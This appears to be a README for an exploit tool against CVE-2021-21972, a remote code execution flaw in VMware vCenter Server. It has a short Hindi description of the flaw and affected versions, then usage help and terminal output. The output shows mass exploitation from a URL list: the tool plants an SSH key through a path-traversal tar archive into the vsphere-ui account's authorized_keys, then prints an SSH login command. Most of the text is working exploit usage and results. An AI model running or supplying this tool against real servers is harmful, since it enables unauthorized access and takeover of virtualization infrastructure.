
CVE-2021-21972
vSphere Client (HTML5) में एक vCenter Server प्लगइन में रिमोट कोड निष्पादन की कमजोरी पाई गई है। पोर्ट 443 तक नेटवर्क पहुंच वाला कोई दुर्भावनापूर्ण अभिकर्ता इस समस्या का शोषण करके vCenter Server को होस्ट करने वाले अंतर्निहित ऑपरेटिंग सिस्टम पर अप्रतिबंधित विशेषाधिकारों के साथ कमांड निष्पादित कर सकता है। यह VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) और VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2) को प्रभावित करता है।
% python3 CVE-2021-21972.py -h
Usage: CVE-2021-21972.py [options]
Options:
-h, --help show this help message and exit
-i FILE file containing list of urls
-u URL, --url=URL https://1.1.1.1
-f FILENAME
-n NOOFTHREADS
-e, --exploit
-c, --check
%
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -e
[*] Creating tmp.tar containing ../../../../../home/vsphere-ui/.ssh/authorized_keys
[+] https://172.16.164.1 SUCCESS
Login using 'ssh -i id_rsa [email protected]'
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
% python3 /tmp/CVE_2021_21972.py -u https://172.16.164.1 -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972